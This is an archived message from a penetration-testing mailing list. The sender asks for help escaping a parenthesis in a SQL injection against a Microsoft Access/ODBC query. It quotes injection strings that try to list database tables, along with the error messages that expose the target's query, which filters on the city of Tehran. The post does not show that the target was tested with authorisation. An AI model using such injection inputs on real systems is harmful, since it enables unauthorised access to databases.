Penetration Testing: Fwd: RE: SQL-Injection escape ')'

[Strcpy <elite_netbios () yahoo com>]

I tried "/" too , nothing new :-/
it`s goeing odd.
while useing the string :
A'\) select name from sysobjects where xtype='U'--

I get the " extra ) " error message wich is correct:

[Microsoft][ODBC Microsoft Access Driver] Extra ) in
query expression 'city_name='Tehran' and
(agency_english ='A'\) select name from sysobjects
where xtype='U'--')'. 

and when I try to remove that extra ")" , and bypass
the ')' , problem re-appear :


[Microsoft][ODBC Microsoft Access Driver] Extra ) in
query expression 'city_name='Tehran' and
(agency_english ='A'\) select name from sysobjects
where xtype='U' while ')'=')'. 

Still looking for your help.
ANY comment is appriciated.
